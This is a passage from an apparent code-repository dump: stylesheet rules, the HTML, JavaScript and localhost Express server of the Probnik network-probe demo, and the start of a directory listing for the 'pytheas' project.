calc(6.5rem + 1.5rem / 2);\n z-index: 1;\n top: 2px;\n }\n \n .sidebar .nav-item .collapse .collapse-inner {\n border-radius: 0.35rem;\n -webkit-box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15);\n box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15);\n }\n \n .sidebar .nav-item .collapsing {\n display: none;\n -webkit-transition: none;\n transition: none;\n }\n \n .sidebar .nav-item .collapse .collapse-inner,\n .sidebar .nav-item .collapsing .collapse-inner {\n padding: .5rem 0;\n min-width: 10rem;\n font-size: 0.85rem;\n margin: 0 0 1rem 0;\n }\n \n .sidebar .nav-item .collapse .collapse-inner .collapse-header,\n .sidebar .nav-item .collapsing .collapse-inner .collapse-header {\n margin: 0;\n white-space: nowrap;\n padding: .5rem 1.5rem;\n text-transform: uppercase;\n font-weight: 800;\n font-size: 0.65rem;\n color: #b7b9cc;\n }\n \n .sidebar .nav-item .collapse .collapse-inner .collapse-item,\n .sidebar .nav-item .collapsing .collapse-inner .collapse-item {\n padding: 0.5rem 1rem;\n margin: 0 0.5rem;\n display: block;\n color: #3a3b45;\n text-decoration: none;\n border-radius: 0.35rem;\n white-space: nowrap;\n }\n \n .sidebar .nav-item .collapse .collapse-inner .collapse-item:hover,\n .sidebar .nav-item .collapsing .collapse-inner .collapse-item:hover {\n background-color: #eaecf4;\n }\n \n .sidebar .nav-item .collapse .collapse-inner .collapse-item:active,\n .sidebar .nav-item .collapsing .collapse-inner .collapse-item:active {\n background-color: #dddfeb;\n }\n \n .sidebar .nav-item .collapse .collapse-inner .collapse-item.active,\n .sidebar .nav-item .collapsing .collapse-inner .collapse-item.active {\n color: #4e73df;\n font-weight: 700;\n }\n \n .sidebar #sidebarToggle {\n width: 2.5rem;\n height: 2.5rem;\n text-align: center;\n margin-bottom: 1rem;\n cursor: pointer;\n }\n \n .sidebar #sidebarToggle::after {\n font-weight: 900;\n content: '\\f104';\n font-family: 'Font Awesome 5 Free';\n margin-right: 0.1rem;\n }\n \n .sidebar #sidebarToggle:hover {\n text-decoration: none;\n }\n \n .sidebar #sidebarToggle:focus {\n outline: none;\n }\n \n .sidebar.toggled {\n width: 0 !important;\n overflow: hidden;\n }\n \n .sidebar.toggled #sidebarToggle::after {\n content: '\\f105';\n font-family: 'Font Awesome 5 Free';\n margin-left: 0.25rem;\n }\n \n .sidebar .sidebar-brand {\n height: 4.375rem;\n text-decoration: none;\n font-size: 1rem;\n font-weight: 800;\n padding: 1.5rem 1rem;\n text-align: center;\n text-transform: uppercase;\n letter-spacing: 0.05rem;\n z-index: 1;\n }\n \n .sidebar .sidebar-brand .sidebar-brand-icon i {\n font-size: 2rem;\n }\n \n .sidebar .sidebar-brand .sidebar-brand-text {\n display: none;\n }\n \n .sidebar hr.sidebar-divider {\n margin: 0 1rem 1rem;\n }\n \n .sidebar .sidebar-heading {\n text-align: center;\n padding: 0 1rem;\n font-weight: 800;\n font-size: 0.65rem;\n }\n \n @media (min-width: 768px) {\n .sidebar {\n width: 14rem !important;\n }\n .sidebar .nav-item .collapse {\n position: relative;\n left: 0;\n z-index: 1;\n top: 0;\n -webkit-animation: none;\n animation: none;\n }\n .sidebar .nav-item .collapse .collapse-inner {\n border-radius: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n .sidebar .nav-item .collapsing {\n display: block;\n -webkit-transition: height 0.15s ease;\n transition: height 0.15s ease;\n }\n .sidebar .nav-item .collapse,\n .sidebar .nav-item .collapsing {\n margin: 0 1rem;\n }\n .sidebar .nav-item .nav-link {\n display: block;\n width: 100%;\n text-align: left;\n padding: 1rem;\n width: 14rem;\n }\n .sidebar .nav-item .nav-link i {\n font-size: 0.85rem;\n margin-right: 0.25rem;\n }\n .sidebar .nav-item .nav-link span {\n font-size: 0.85rem;\n display: inline;\n }\n .sidebar .nav-item .nav-link[data-toggle=\"collapse\"]::after {\n width: 1rem;\n text-align: center;\n float: right;\n vertical-align: 0;\n border: 0;\n font-weight: 900;\n content: '\\f107';\n font-family: 'Font Awesome 5 Free';\n }\n .sidebar .nav-item .nav-link[data-toggle=\"collapse\"].collapsed::after {\n content: '\\f105';\n }\n .sidebar .sidebar-brand .sidebar-brand-icon i {\n font-size: 2rem;\n }\n .sidebar .sidebar-brand .sidebar-brand-text {\n display: inline;\n }\n .sidebar .sidebar-heading {\n text-align: left;\n }\n .sidebar.toggled {\n overflow: visible;\n width: 6.5rem !important;\n }\n .sidebar.toggled .nav-item .collapse {\n position: absolute;\n left: calc(6.5rem + 1.5rem / 2);\n z-index: 1;\n top: 2px;\n -webkit-animation-name: growIn;\n animation-name: growIn;\n -webkit-animation-duration: 200ms;\n animation-duration: 200ms;\n -webkit-animation-timing-function: transform cubic-bezier(0.18, 1.25, 0.4, 1), opacity cubic-bezier(0, 1, 0.4, 1);\n animation-timing-function: transform cubic-bezier(0.18, 1.25, 0.4, 1), opacity cubic-bezier(0, 1, 0.4, 1);\n }\n .sidebar.toggled .nav-item .collapse .collapse-inner {\n -webkit-box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15);\n box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.15);\n border-radius: 0.35rem;\n }\n .sidebar.toggled .nav-item .collapsing {\n display: none;\n -webkit-transition: none;\n transition: none;\n }\n .sidebar.toggled .nav-item .collapse,\n .sidebar.toggled .nav-item .collapsing {\n margin: 0;\n }\n .sidebar.toggled .nav-item:last-child {\n margin-bottom: 1rem;\n }\n .sidebar.toggled .nav-item .nav-link {\n text-align: center;\n padding: 0.75rem 1rem;\n width: 6.5rem;\n }\n .sidebar.toggled .nav-item .nav-link span {\n font-size: 0.65rem;\n display: block;\n }\n .sidebar.toggled .nav-item .nav-link i {\n margin-right: 0;\n }\n .sidebar.toggled .nav-item .nav-link[data-toggle=\"collapse\"]::after {\n display: none;\n }\n .sidebar.toggled .sidebar-brand .sidebar-brand-icon i {\n font-size: 2rem;\n }\n .sidebar.toggled .sidebar-brand .sidebar-brand-text {\n display: none;\n }\n .sidebar.toggled .sidebar-heading {\n text-align: center;\n }\n }\n \n .sidebar-light .sidebar-brand {\n color: #6e707e;\n }\n \n .sidebar-light hr.sidebar-divider {\n border-top: 1px solid #eaecf4;\n }\n \n .sidebar-light .sidebar-heading {\n color: #b7b9cc;\n }\n \n .sidebar-light .nav-item .nav-link {\n color: #858796;\n }\n \n .sidebar-light .nav-item .nav-link i {\n color: #d1d3e2;\n }\n \n .sidebar-light .nav-item .nav-link:active, .sidebar-light .nav-item .nav-link:focus, .sidebar-light .nav-item .nav-link:hover {\n color: #6e707e;\n }\n \n .sidebar-light .nav-item .nav-link:active i, .sidebar-light .nav-item .nav-link:focus i, .sidebar-light .nav-item .nav-link:hover i {\n color: #6e707e;\n }\n \n .sidebar-light .nav-item .nav-link[data-toggle=\"collapse\"]::after {\n color: #b7b9cc;\n }\n \n .sidebar-light .nav-item.active .nav-link {\n color: #6e707e;\n }\n \n .sidebar-light .nav-item.active .nav-link i {\n color: #6e707e;\n }\n \n .sidebar-light #sidebarToggle {\n background-color: #eaecf4;\n }\n \n .sidebar-light #sidebarToggle::after {\n color: #b7b9cc;\n }\n \n .sidebar-light #sidebarToggle:hover {\n background-color: #dddfeb;\n }\n \n .sidebar-dark .sidebar-brand {\n color: #fff;\n }\n \n .sidebar-dark hr.sidebar-divider {\n border-top: 1px solid rgba(255, 255, 255, 0.15);\n }\n \n .sidebar-dark .sidebar-heading {\n color: rgba(255, 255, 255, 0.4);\n }\n \n .sidebar-dark .nav-item .nav-link {\n color: rgba(255, 255, 255, 0.8);\n }\n \n .sidebar-dark .nav-item .nav-link i {\n color: rgba(255, 255, 255, 0.3);\n }\n \n .sidebar-dark .nav-item .nav-link:active, .sidebar-dark .nav-item .nav-link:focus, .sidebar-dark .nav-item .nav-link:hover {\n color: #fff;\n }\n \n .sidebar-dark .nav-item .nav-link:active i, .sidebar-dark .nav-item .nav-link:focus i, .sidebar-dark .nav-item .nav-link:hover i {\n color: #fff;\n }\n \n .sidebar-dark .nav-item .nav-link[data-toggle=\"collapse\"]::after {\n color: rgba(255, 255, 255, 0.5);\n }\n \n .sidebar-dark .nav-item.active .nav-link {\n color: #fff;\n }\n \n .sidebar-dark .nav-item.active .nav-link i {\n color: #fff;\n }\n \n .sidebar-dark #sidebarToggle {\n background-color: rgba(255, 255, 255, 0.2);\n }\n \n .sidebar-dark #sidebarToggle::after {\n color: rgba(255, 255, 255, 0.5);\n }\n \n .sidebar-dark #sidebarToggle:hover {\n background-color: rgba(255, 255, 255, 0.25);\n }\n \n .sidebar-dark.toggled #sidebarToggle::after {\n color: rgba(255, 255, 255, 0.5);\n }\n \n #wrapper {\n display: -webkit-box;\n display: -ms-flexbox;\n display: flex;\n }\n \n #wrapper #content-wrapper {\n background-color: #f8f9fc;\n width: 100%;\n overflow-x: hidden;\n }\n \n #wrapper #content-wrapper #content {\n -webkit-box-flex: 1;\n -ms-flex: 1 0 auto;\n flex: 1 0 auto;\n }\n\n .bg-gradient-primary {\n background-color: #4e73df;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #4e73df), to(#224abe));\n background-image: linear-gradient(180deg, #4e73df 10%, #224abe 100%);\n background-size: cover;\n }\n \n .bg-gradient-secondary {\n background-color: #858796;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #858796), to(#60616f));\n background-image: linear-gradient(180deg, #858796 10%, #60616f 100%);\n background-size: cover;\n }\n \n .bg-gradient-success {\n background-color: #1cc88a;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #1cc88a), to(#13855c));\n background-image: linear-gradient(180deg, #1cc88a 10%, #13855c 100%);\n background-size: cover;\n }\n \n .bg-gradient-info {\n background-color: #36b9cc;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #36b9cc), to(#258391));\n background-image: linear-gradient(180deg, #36b9cc 10%, #258391 100%);\n background-size: cover;\n }\n \n .bg-gradient-warning {\n background-color: #f6c23e;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #f6c23e), to(#dda20a));\n background-image: linear-gradient(180deg, #f6c23e 10%, #dda20a 100%);\n background-size: cover;\n }\n \n .bg-gradient-danger {\n background-color: #e74a3b;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #e74a3b), to(#be2617));\n background-image: linear-gradient(180deg, #e74a3b 10%, #be2617 100%);\n background-size: cover;\n }\n \n .bg-gradient-light {\n background-color: #f8f9fc;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #f8f9fc), to(#c2cbe5));\n background-image: linear-gradient(180deg, #f8f9fc 10%, #c2cbe5 100%);\n background-size: cover;\n }\n \n .bg-gradient-dark {\n background-color: #5a5c69;\n background-image: -webkit-gradient(linear, left top, left bottom, color-stop(10%, #5a5c69), to(#373840));\n background-image: linear-gradient(180deg, #5a5c69 10%, #373840 100%);\n background-size: cover;\n }\n\n .chart-area {\n position: relative;\n height: 10rem;\n width: 100%;\n }\n \n @media (min-width: 768px) {\n .chart-area {\n height: 20rem;\n }\n }", "demo\\index.html": "<!doctype html>\n<html lang=\"en\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <!-- Bootstrap CSS -->\n <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" type=\"text/css\" href=\"https://cdn.datatables.net/1.10.19/css/jquery.dataTables.css\">\n\n <!-- Custom styles -->\n <link href=\"app.css\" rel=\"stylesheet\">\n\n <title>Probnik demo</title>\n </head>\n <body>\n\n <div id=\"wrapper\">\n <!-- Content Wrapper -->\n <div id=\"content-wrapper\" class=\"d-flex flex-column\">\n\n <!-- Main Content -->\n <div id=\"content\">\n \n <!-- Topbar -->\n <nav class=\"navbar navbar-expand navbar-light bg-white topbar mb-2 static-top shadow\">\n <h1 class=\"h3 mb-0 text-gray-800\">Probnik Demo</h1>\n \n <!-- Topbar Navbar -->\n <ul class=\"navbar-nav ml-auto\">\n </ul>\n\n </nav>\n\n <!-- Begin Page Content -->\n <div class=\"container-fluid\">\n\n <!-- Content Row -->\n <div class=\"row justify-content-md-center\">\n <!-- Probe recipe configuration -->\n <div class=\"col-9 mb-2\">\n <div class=\"card border-left-primary shadow h-100 py-2\">\n <div class=\"card-body\">\n <div class=\"row no-gutters align-items-center\">\n <div class=\"col mr-2\">\n <div class=\"text-xs font-weight-bold text-uppercase mb-1\">Recipe Config</div>\n <div class=\"input-group mb-3\">\n <div class=\"input-group-prepend\">\n <div class=\"dropdown\" id=\"recipe-selection-dropdown\">\n <button class=\"btn btn-secondary dropdown-toggle\" type=\"button\" id=\"dropdownMenuButton\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\">\n Recipe\n </button>\n <div class=\"dropdown-menu\" aria-labelledby=\"dropdownMenuButton\">\n <a class=\"dropdown-item recipe-selector\" href=\"#\" recipe-url=\"http://localhost:3000/probnik/recipe/demo1\">Demo 1</a>\n <a class=\"dropdown-item recipe-selector\" href=\"#\" recipe-url=\"http://localhost:3000/probnik/recipe/demo2\">Demo 2</a>\n </div>\n </div>\n\n </div>\n <input type=\"text\" class=\"form-control\" id=\"recipe-url\" aria-describedby=\"recipe-selection-dropdown\" value=\"http://localhost:3000/probnik/recipe/demo1\">\n </div>\n\n <div class=\"container-fluid\">\n <div class=\"row justify-content-center\">\n <div class=\"col-6 card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5 class=\"card-title\"><strong>Type:</strong> <span id=\"recipe-test-type\">HTTP</span></h5>\n <h6 class=\"card-subtitle mb-2 text-muted\">Targets:</h6>\n <table>\n <tbody id='recipe-targets'>\n </tbody>\n </table>\n </div>\n </div>\n\n <div class=\"col-6 card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5 class=\"card-title\"><strong>Pulses:</strong> <span id=\"recipe-test-type\">3</span></h5>\n <table>\n <tbody>\n <tr>\n <td><strong>Delays (ms)</strong></td><td id='recipe-pulse-delay'></td>\n </tr>\n <tr>\n <td><strong>Timeout (ms)</strong></td><td id='recipe-pulse-timeout'></td>\n </tr>\n </tbody>\n </table>\n </div>\n </div>\n </div>\n </div>\n\n <div>\n\n <button type=\"button\" class=\"btn btn-primary\" data-toggle=\"modal\" data-target=\".recipe-config-modal\">JSON</button>\n\n <div class=\"modal fade recipe-config-modal\" tabindex=\"-1\" role=\"dialog\" aria-hidden=\"true\">\n <div class=\"modal-dialog modal-lg\">\n <div class=\"modal-content\">\n <div class=\"modal-header\">\n <h5 class=\"modal-title\" id=\"modal-label\">Recipe Config</h5>\n <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n <span aria-hidden=\"true\">×</span>\n </button>\n </div>\n <div class=\"card\">\n <div class=\"card-body\">\n <p class=\"card-text\">\n <pre>\n <code id=\"recipe-json\">\n </code>\n </pre>\n </p>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n\n <!-- Probe schedule configuration -->\n <div class=\"col-3 mb-2\">\n <div class=\"card border-left-warning shadow h-100 py-2\">\n <div class=\"card-body\">\n <div class=\"row no-gutters align-items-center\">\n <div class=\"col mr-2\">\n <div class=\"text-xs font-weight-bold text-uppercase mb-1\">Probe Scheduler</div>\n <div class=\"text-gray-800\">\n <form>\n <div class=\"form-group\">\n <label for=\"formControlRange\">Run Interval (ms)</label>\n <input type=\"range\" class=\"form-control-range\" id=\"scheduler-interval-range\" min=\"10\" max=\"1000\" value=\"1000\">\n <input type=\"text\" id=\"scheduler-interval-value\" value=\"1000\">\n </div> \n <div>\n <button type=\"button\" class=\"btn btn-danger\" id=\"scheduler-start-btn\">Stop</button>\n </div>\n </form>\n </div>\n </div>\n <div class=\"col-auto\">\n <i class=\"fas fa-comments fa-2x text-gray-300\"></i>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n \n <!-- Graphs Row -->\n <div class=\"row\">\n \n <div class=\"col-xl-12\">\n <div class=\"card shadow mb-2\">\n <div class=\"card-header py-3 d-flex flex-row align-items-center justify-content-between\">\n <h6 class=\"m-0 font-weight-bold text-primary\">Probe Results</h6>\n </div>\n <!-- Card Body -->\n <div class=\"card-body\">\n\n <div class=\"container-fluid\">\n <div class=\"row\">\n <!-- RPS -->\n <div class=\"col border mb-1\">\n RPS\n <canvas id=\"probe-rps-chart\"></canvas>\n </div>\n\n <!-- Errors Rate -->\n <div class=\"col border mb-1\">\n Errors Rate\n <canvas id=\"errors-rate-chart\"></canvas>\n </div>\n </div>\n\n <div class=\"row\">\n <!-- Probes Share -->\n <div class=\"col border mb-1\">\n Probes Share\n <canvas id=\"probe-share-chart\"></canvas>\n </div>\n\n <!-- Errors Share -->\n <div class=\"col border mb-1\">\n Errors Share\n <canvas id=\"errors-share-chart\"></canvas>\n </div>\n </div>\n\n <div class=\"row\">\n <!-- Time -->\n <div class=\"col border mb-1\">\n Timing\n <canvas id=\"timing-chart\"></canvas>\n </div>\n </div> \n </div>\n </div>\n </div>\n </div>\n </div>\n\n <!-- Probes log -->\n <div class=\"row justify-content-md-center\">\n <div class=\"col mb-4\">\n <div class=\"card border-left-warning shadow h-100 py-2\">\n <div class=\"card-body\">\n <div class=\"row no-gutters align-items-center\">\n <div class=\"col mr-2\">\n <div class=\"text-xs font-weight-bold text-uppercase mb-1\">Probes log</div>\n <div class=\"mb-0 text-gray-800\">\n <table class=\"table table-condensed\" style=\"border-collapse:collapse;\" id=\"probes-log-table\">\n <thead>\n <tr>\n <th>#</th>\n <th>Time</th>\n <th>Recipe Type</th>\n <th>Probe Name</th>\n <th>Details</th>\n </tr>\n </thead>\n <tbody>\n </tbody>\n </table>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n\n <div class=\"modal fade probe-details-modal\" tabindex=\"-1\" role=\"dialog\" aria-hidden=\"true\" id=\"probe-details-modal\">\n <div class=\"modal-dialog modal-lg\">\n <div class=\"modal-content\">\n <div class=\"modal-header\">\n <h5 class=\"modal-title\" id=\"modal-label\">Probe Details</h5>\n <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n <span aria-hidden=\"true\">×</span>\n </button>\n </div>\n <div class=\"card\">\n <pre><code id=\"probe-json\"></code></pre>\n </div>\n </div>\n </div>\n </div>\n <!-- End of Main Content -->\n \n </div>\n <!-- End of Content Wrapper -->\n \n </div>\n <!-- End of Page Wrapper -->\n \n\n <!-- Optional JavaScript -->\n <!-- jQuery first, then Popper.js, then Bootstrap JS -->\n <script src=\"https://code.jquery.com/jquery-3.3.1.slim.min.js\" integrity=\"sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo\" crossorigin=\"anonymous\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js\" integrity=\"sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1\" crossorigin=\"anonymous\"></script>\n <script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js\" integrity=\"sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM\" crossorigin=\"anonymous\"></script>\n <script src=\"https://d3js.org/d3-array.v2.min.js\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.22.2/moment.min.js\"></script>\n <script src=\"https://cdn.jsdelivr.net/npm/[email protected]\"></script> \n <script type=\"text/javascript\" charset=\"utf8\" src=\"https://cdn.datatables.net/1.10.19/js/jquery.dataTables.js\"></script>\n <script src=\"main.js\"></script>\n </body>\n</html>", "demo\\main.js": "/**\n *\n * Copyright 2019 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport { RestRecipeProvider, BrowserProbe } from '../probnik/probnik.ts';\n\nvar charts = require('./charts.js').charts(\n $(\"#probe-rps-chart\"), \n $(\"#errors-rate-chart\"),\n $(\"#probe-share-chart\"),\n $(\"#errors-share-chart\"),\n $(\"#timing-chart\")\n),\n table = require('./probe_log.js').probeLog($('#probes-log-table')),\n recipeProvider = new RestRecipeProvider(\"http://localhost:3000/probnik/recipe/demo1\"),\n schedulerIsActive = true,\n startStopBtn = document.getElementById(\"scheduler-start-btn\");\n\nfunction onComplete(data) {\n charts.addProbe(data);\n table.addProbe(data);\n}\n\nfunction runProbe() {\n var rangeSlider = document.getElementById(\"scheduler-interval-range\");\n if (schedulerIsActive) {\n var t = new BrowserProbe(recipeProvider, onComplete);\n t.start();\n }\n setTimeout(runProbe, rangeSlider.value);\n}\n\n\nfunction updateRecipe() {\n recipeProvider.getRecipe(0, function(recipeData) {\n $('#recipe-json').text(JSON.stringify(recipeData, '', 4));\n\n var targetsTableElem = $('#recipe-targets');\n targetsTableElem.empty();\n recipeData.targets.forEach(target => {\n targetsTableElem.append('<tr>' +\n '<td><strong>' + target.name + '</strong></td><td>' + target.target + '</td>' + \n '</tr>'\n )\n });\n\n $('#recipe-pulse-timeout').text(recipeData.pulse_timeout);\n $('#recipe-pulse-delay').text(recipeData.pulse_delay);\n });\n}\n\n$(\"#scheduler-interval-range\").change(function() {\n document.getElementById(\"scheduler-interval-value\").value = this.value;\n});\n\n\nstartStopBtn.addEventListener(\"click\", function() {\n if (schedulerIsActive) {\n // stop the scheduler\n schedulerIsActive = false;\n startStopBtn.classList.add('btn-success');\n startStopBtn.classList.remove('btn-danger');\n startStopBtn.innerText = \"Start\";\n } else {\n // start the scheduler\n schedulerIsActive = true;\n startStopBtn.classList.add('btn-danger');\n startStopBtn.classList.remove('btn-success');\n startStopBtn.innerText = \"Stop\"; \n }\n});\n\nfunction changeRecipeUrl(url) {\n recipeProvider = new RestRecipeProvider(url);\n updateRecipe();\n charts.reset();\n table.reset();\n}\n\n$('#recipe-url').change(function(event) {\n changeRecipeUrl(event.target.value);\n})\n\n$('.recipe-selector').click(function(event) {\n var url = $(event.target).attr('recipe-url');\n $('#recipe-url').val(url);\n changeRecipeUrl(url);\n})\n \nupdateRecipe();\nrunProbe();\n\n", "demo\\server\\app.js": "var express = require(\"express\");\nvar app = express();\nvar cors = require('cors');\napp.use(cors(\n {\n origin: 'http://localhost:8000',\n credentials: true,\n }\n));\n\nfunction shuffleArray(array) {\n for (var i = array.length - 1; i > 0; i--) {\n var j = Math.floor(Math.random() * (i + 1));\n var temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n }\n}\n\nfunction sleep (time) {\n return new Promise((resolve) => setTimeout(resolve, time));\n }\n\nconst crypto = require('crypto');\napp.listen(3000, () => {\n console.log(\"Server running on port 3000\");\n});\n\napp.get(\"/probnik/recipe/demo1\", (req, res, next) => {\n var targets = [\n {\n \"name\": \"fast\",\n \"target\": \"http://localhost:3000/datagen/fast?size=5120\"\n },\n {\n \"name\": \"slow\",\n \"target\": \"http://localhost:3000/datagen/slow?size=5120\"\n },\n {\n \"name\": \"wonky\",\n \"target\": \"http://localhost:3000/datagen/wonky?size=5120\"\n }\n ];\n shuffleArray(targets);\n\n return res.json({\n \"next\": 0,\n \"pulse_timeout\": 15000,\n \"targets\": targets,\n \"pulses\": 3,\n \"pulse_delay\": 2000,\n \"name\": \"Demo Test 1\",\n \"type\": \"http_get\",\n \"ctx\": {\n \"iter\": null,\n \"ts\": new Date().valueOf()\n }\n });\n });\n\n app.get(\"/probnik/recipe/demo2\", (req, res, next) => {\n var targets = [\n {\n \"name\": \"small\",\n \"target\": \"http://localhost:3000/datagen/fast?size=1000\"\n },\n {\n \"name\": \"medium\",\n \"target\": \"http://localhost:3000/datagen/fast?size=5000\"\n },\n {\n \"name\": \"large\",\n \"target\": \"http://localhost:3000/datagen/fast?size=10000\"\n }\n ];\n shuffleArray(targets);\n\n return res.json({\n \"next\": 0,\n \"pulse_timeout\": 15000,\n \"targets\": targets,\n \"pulses\": 3,\n \"pulse_delay\": 2000,\n \"name\": \"Demo Test 2\",\n \"type\": \"http_get\",\n \"ctx\": {\n \"iter\": null,\n \"ts\": new Date().valueOf()\n }\n });\n });\n\napp.get(\"/datagen/fast\", (req, res, next) => {\n const len = parseInt(req.query.size, 10) || 1000;\n const buf = crypto.randomBytes(len || 1000);\n res.writeHead(200, {\n 'Content-Type': \"application/x-binary\",\n 'Content-Length': len\n });\n res.end(buf, 'binary');\n});\n\napp.get(\"/datagen/slow\", (req, res, next) => {\n const len = parseInt(req.query.size, 10) || 1000;\n const buf = crypto.randomBytes(len || 1000);\n\n res.writeHead(200, {\n 'Content-Type': \"application/x-binary\",\n 'Content-Length': len\n });\n sleep(10).then(() => {\n res.end(buf, 'binary');\n }); \n});\n\napp.get(\"/datagen/wonky\", (req, res, next) => {\n const len = parseInt(req.query.size, 10) || 1000;\n const buf = crypto.randomBytes(len || 1000);\n let sc = 200;\n if (Math.random() > 0.9) {\n sc = 503;\n }\n res.writeHead(sc, {\n 'Content-Type': \"application/x-binary\",\n 'Content-Length': len\n });\n res.end(buf, 'binary');\n});"} | null |
pytheas | {"type": "directory", "name": "pytheas", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "build.gradle"}, {"type": "file", "name": "buildViaTravis.sh"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "directory", "name": "pytheas-api", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "explorers", "children": [{"type": "directory", "name": "annotations", "children": [{"type": "file", "name": "Controller.java"}, {"type": "file", "name": "ExplorerEntity.java"}, {"type": "file", "name": "ExplorerGuiceModule.java"}]}, {"type": "directory", "name": "context", "children": [{"type": "file", "name": "GlobalModelContext.java"}]}, {"type": "file", "name": "Explorer.java"}, {"type": "file", "name": "ExplorerManager.java"}, {"type": "directory", "name": "model", "children": [{"type": "file", "name": "CrossLink.java"}, {"type": "file", "name": "DynaTreeNode.java"}, {"type": "file", "name": "EmptyExplorer.java"}, {"type": "file", "name": "EntityNotFoundException.java"}, {"type": "file", "name": "ExplorerInfoEntity.java"}, {"type": "file", "name": "ExplorerInfoListEntity.java"}, {"type": "file", "name": "MapEntity.java"}, {"type": "file", "name": "MenuItem.java"}]}, {"type": "directory", "name": "rest", "children": [{"type": "file", "name": "RestResource.java"}]}, {"type": "directory", "name": "services", "children": [{"type": "file", "name": "ExplorerService.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "pytheas-core", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "explorers", "children": [{"type": "file", "name": "AbstractExplorerModule.java"}, {"type": "file", "name": "AppConfigGlobalModelContext.java"}, {"type": "directory", "name": "context", "children": [{"type": "file", "name": "ExplorerPropertiesConfiguration.java"}, {"type": "file", "name": "RequestContext.java"}]}, {"type": "file", "name": "ExplorersManagerImpl.java"}, {"type": "directory", "name": "guice", "children": [{"type": "file", "name": "BaseExplorerGuiceModule.java"}]}, {"type": "directory", "name": "jersey", "children": [{"type": "file", "name": "ExplorerResource.java"}, {"type": "file", "name": "ViewableResource.java"}]}, {"type": "file", "name": "PropertiesGlobalModelContext.java"}, {"type": "directory", "name": "providers", "children": [{"type": "file", "name": "ExplorerContextInjectable.java"}, {"type": "file", "name": "ExplorerManagerContextInjectable.java"}, {"type": "file", "name": "FreemarkerTemplateProvider.java"}, {"type": "file", "name": "GenericExceptionMapper.java"}, {"type": "file", "name": "JsonMessageBodyReader.java"}, {"type": "file", "name": "JsonMessageBodyWriter.java"}, {"type": "file", "name": "NaturalNotationContextResolver.java"}, {"type": "file", "name": "SharedFreemarker.java"}, {"type": "file", "name": "ToJsonArrayOfArrays.java"}, {"type": "file", "name": "ToJsonMethod.java"}, {"type": "file", "name": "WebApplicationExceptionMapper.java"}]}, {"type": "file", "name": "RemoteExplorerModule.java"}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "EmbeddedContentResource.java"}, {"type": "file", "name": "ExplorerAdminResource.java"}, {"type": "file", "name": "MinifiedContentResource.java"}]}, {"type": "directory", "name": "rest", "children": [{"type": "file", "name": "RestKey.java"}]}, {"type": "directory", "name": "services", "children": [{"type": "file", "name": "ExplorerServiceCachedFactorySupplier.java"}, {"type": "file", 